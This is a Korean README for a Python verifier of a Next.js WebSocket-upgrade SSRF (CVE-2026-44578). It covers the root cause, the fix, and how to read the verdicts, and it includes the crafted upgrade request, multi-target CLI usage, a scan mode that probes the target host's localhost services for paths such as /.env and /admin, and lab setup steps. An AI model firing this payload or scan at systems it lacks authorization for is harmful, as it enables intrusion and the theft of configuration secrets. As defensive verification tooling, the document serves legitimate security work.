
GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)용 OOB 검증기
| 필드 | 값 |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (높음) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 영향 받는 버전 | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| 패치된 버전 | 15.5.16, 16.2.5 |
| 수정 커밋 | c4f69086 |
| 영향 받지 않는 경우 | Vercel 호스팅; output: "export"; Upgrade를 전달하지 않는 리버스 프록시 뒤에 배포된 경우 |
공격자가 자체 호스팅 Next.js 프로세스에 TCP 연결을 열고 요청 URI가 절대 URL인 HTTP/1.1 WebSocket 업그레이드를 전송합니다:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
resolveRoutes에서 URL에 //(모든 절대 URI에는 포함됨)가 포함되어 있어 "반복 슬래시 정규화" 분기와 일치합니다. 해당 분기는 { finished: true, statusCode: 308, parsedUrl: <mangled> }을 반환하며 조기에 종료됩니다. 정규화기는 http://host/path를 http:/host/path(슬래시 하나)로 축소합니다.
router-server.ts에서 패치 전 업그레이드 핸들러는 finished/statusCode를 무시하고 parsedUrl.protocol만 확인했습니다. 프로토콜이 정규화에서 살아남았기 때문에 proxyRequest(...)를 호출했습니다.
proxyRequest는 망가진 URL에 대해 url.format(parsedUrl)을 실행하여 http:/host:port/path를 얻습니다. http-proxy는 대상을 구문 분석하고 호스트를 찾지 못하며(url.parse('http:/...').host === null) 기본 대상인 localhost:80(또는 https의 경우 localhost:443)으로 폴백합니다.
따라서 실제로 SSRF를 통해 Next가 공격자가 제어하는 경로로 **Next.js 호스트 자체의 localhost:80 / localhost:443**에 WebSocket 업그레이드를 열도록 할 수 있습니다.
수정(커밋 c4f69086)은 업그레이드 핸들러가 프록시 전에 finished && !statusCode를 확인하도록 변경했습니다. 이제 308 정규화 케이스는 !statusCode 검사에서 실패하고 소켓이 대신 닫힙니다.
프록시는 외부 호스트에 도달하지 않습니다. interactsh / Burp Collaborator / webhook canary를 설정하고 Next 프로세스가 외부로 연락할 것으로 예상한다면 그렇지 않습니다 — 연결은 대상 머신의 localhost로 이동합니다. 따라서 이 검증기는 업그레이드 소켓에서 읽은 인밴드 신호를 사용합니다. 취약한 서버는 인식 가능한 오류 본문을 반환하고, 패치된 서버는 아무것도 반환하지 않습니다.
SSRF 대상은 제한적이지만 실제 배포에서는 여전히 의미가 있습니다:
127.0.0.1:80 또는 :443에 바인딩되고 localhost에서 시작된 요청을 신뢰하는 경우.127.0.0.1:80에서 HTTP로 노출된 Docker 소켓 (드물지만 발견됨).AWS / GCP / Azure 메타데이터 엔드포인트(169.254.169.254)는 버그가 대상을 localhost로 고정하기 때문에 직접적으로 도달할 수 없습니다.
각 대상에 대해 스크립트는 원시 TCP(또는 TLS) 소켓을 열고, 제작된 업그레이드를 전송하고, 응답을 읽고, 두 가지 신호를 생성합니다:
verdict — 버그가 존재하는지 여부.impact_confirmed — SSRF가 실제로 데이터를 유출했는지 여부 (즉, 대상의 localhost:80/443에 있는 함께 배치된 서비스가 응답하고 응답을 받았는지).| 응답 | Verdict | impact_confirmed |
|---|---|---|
Internal Server Error 포함 | vulnerable | false — 버그가 입증되었지만 프록시가 localhost에서 아무것도 적중하지 않음 |
HTTP/1.로 시작 | vulnerable_proxy_succeeded | true — 실제 응답 데이터 유출됨 |
| 빈 / 정상 종료 | likely_patched | false — "Not Next", "리버스 프록시가 Upgrade 제거", "Vercel"도 포함 |
| 업그레이드 없는 제어와 동일 | front_end_intercepts | false — 프론트엔드 프록시가 두 프로브를 모두 차단; SSRF가 Next에 도달하지 못함 |
| 그 외 | inconclusive | false |
impact_confirmed가 true인 경우 JSON 출력에는 유출된 응답에서 구문 분석한 upstream_status, upstream_server 및 upstream_content_type도 포함됩니다 (분류 / 보고서 작성에 유용).
기본적으로 모든 대상은 동일한 절대 URI 요청 라인을 사용하지만 Upgrade 헤더가 없는 제어 프로브(Connection: close)도 수신합니다. 프론트엔드가 두 프로브에 동일한 응답(상태 라인 + 허용 오차 내 크기)을 반환하면 호스트의 프론트엔드 자체가 절대 URI 요청 라인을 거부하고 있는 것입니다(nginx 400, Apache 400, CDN 에지) — 따라서 SSRF가 Next에 도달하지 못했습니다. 판정은 front_end_intercepts로 낮춰지고 JSON 출력에는 프록시 응답에서 구문 분석한 front_end_status 및 front_end_server가 포함되어 운영자가 어떤 것이 차단하고 있는지 식별할 수 있습니다.
이로 인해 자체 호스팅 Next가 nginx/Apache 뒤에 있을 때 관찰된 실제 거짓 긍정이 제거됩니다. 이러한 프록시는 프로브의 GET http:///x HTTP/1.1 요청 라인을 일반 400으로 거부하며, 이전 검출기에서는 이를 vulnerable_proxy_succeeded로 잘못 읽었습니다. --no-control-probe를 전달하여 이 기능을 비활성화하고 원시 판정을 확인할 수 있습니다.
# 단일 대상
python3 verify_ghsa_c4j6.py --target https://app.example.com
# 플래그 반복으로 여러 대상
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# 파일에서 읽기 (한 줄에 하나의 대상; '#'은 주석)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# stdin에서 읽기
cat targets.txt | python3 verify_ghsa_c4j6.py
# 다운스트림 도구를 위한 JSON Lines 출력
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# 버그를 통해 대상의 localhost:80/443에서 함께 배치된 서비스 열거
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# 사용자 정의 경로 목록으로 동일
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan은 SSRF 가젯을 통해 일반 경로의 내장 목록(Apache/nginx 상태 모듈, 상태 및 메트릭 엔드포인트, Spring Boot Actuator, Go pprof, Docker 데몬 엔드포인트, 일반 관리 패널, 누출 구성 파일, Elasticsearch 경로 등)을 탐색합니다.
기본적으로 스캔 모드는 대상당 하나의 추가 차등 기준 프로브(존재하지 않는 무작위 경로)를 실행합니다. 이후 프로브는 (status, body length) 서명이 기준과 다른 경우에만 DIFF로 태그됩니다. "아무것도 찾지 못한" 업스트림의 균일한 404는 noise로 표시되며 적중 횟수를 부풀리지 않습니다. --no-differential을 전달하면 서비스에 도달한 모든 프로브를 보고합니다(레거시 동작).
출력은 대상별로 그룹화됩니다:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
DIFF 행은 실제 적중입니다 — 응답이 무작위 경로 기준과 다른 경로(상태 코드 다름, 본문 길이 다름). noise 행도 HTTP 서비스에 도달했지만 기준과 동일한 지루한 응답을 생성했습니다 — 일반적으로 운영자가 신경 쓰지 않는 균일한 404입니다. 모든 프로브가 noise이고 기준 차이가 없으면 버그는 여전히 존재하지만 해당 호스트의 localhost:80/443에서 유용한 것이 수신되지 않는 것입니다.
| 플래그 | 설명 | 기본값 |
|---|---|---|
--target URL | 단일 대상. 여러 번 반복 가능. | — |
--targets-file PATH | 한 줄에 하나의 대상이 있는 파일. | — |
--probe-path PATH | 제작된 절대 URI에 사용되는 경로. 대상의 localhost 서비스에 이 경로로 도달합니다(대상별 토큰 접미사로 기록됨). | /x |
--scan | 각 대상의 localhost 서비스에서 일반 경로 열거. 대상당 하나의 차등 기준 프로브와 경로 목록을 전송합니다. | 꺼짐 |
--scan-paths-file PATH | 스캔 모드용 사용자 정의 경로 목록 (한 줄에 하나). --scan을 암시합니다. | 내장 |
--no-differential | --scan 모드에서 기준 프로브를 건너뛰고 서비스에 도달한 모든 프로브를 보고합니다(레거시 동작). | 꺼짐 |
--no-control-probe | 프론트엔드 단락 보호 비활성화 (대상당 업그레이드 없는 추가 프로브). 대상이 엄격히 직접적인 Next 프로세스로 알려진 경우 유용합니다. | 꺼짐 |
--timeout SEC | 소켓당 타임아웃. | 5 |
--concurrency N | 병렬 프로브. | 10 |
--insecure | TLS 인증서 검증 건너뛰기. TLS를 MITM할 때 --proxy와 함께 필요합니다. | 꺼짐 |
--proxy URL | HTTP CONNECT 프록시(Burp / mitmproxy / ZAP)를 통해 터널링. http://user:pass@host:port를 통해 기본 인증 지원. TLS 대상의 경우 Python 3.11+ 필요. | 직접 |
--json | 사람이 읽을 수 있는 텍스트 대신 JSON Lines 출력. | 꺼짐 |
대상은 host, host:port 또는 전체 http(s)://... URL일 수 있습니다.
Burp / mitmproxy / OWASP ZAP에서 검사할 수 있도록 모든 프로브를 HTTP CONNECT 프록시를 통해 터널링:
# Burp를 통한 일반 HTTP 대상
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# Burp를 통한 HTTPS 대상 (Burp가 TLS를 MITM함 — --insecure 필요 또는 Burp CA 설치)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# 기본 인증을 사용하는 프록시
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
프록시는 CONNECT host:port 뒤에 원시 업그레이드 페이로드를 봅니다 — Burp가 SSRF 프로브를 기록/재생/수정하도록 하려는 경우 유용합니다.
다섯 개의 명령으로 취약한 실습 환경을 실행할 수 있습니다:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
출력:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
[email protected]으로 반복하면 verdict=likely_patched가 표시되어야 합니다.
demo_impact.sh는 Next를 :80에서 실행한 다음(localhost에 고정된 SSRF 대상이 동일한 Next 프로세스가 되도록 함) 버그를 통해 Next의 자체 HTML을 다시 읽습니다. 권한이 필요한 포트 바인딩을 위해 sudo가 필요합니다.
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
예상 출력 끝: IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.
Upgrade 헤더를 전달하지 않으면 취약점이 가려집니다. 스크립트는 likely_patched를 보고합니다. 가능하다면 Next 프로세스에 대해 직접 재테스트하십시오.Internal Server Error가 업스트림 프록시 자체에서 반환될 수 있습니다. 이를 배제하려면 Connection: Upgrade 대신 Connection: close로 동일한 페이로드를 다시 보내십시오. 실제 취약한 Next는 이 경우 다른 코드 경로로 인해 Internal Server Error 본문을 반환하지 않습니다.next start는 기본적으로 HTTP/1.1입니다.소유하거나 명시적이고 서면으로 승인된 시스템만 테스트하십시오.
MIT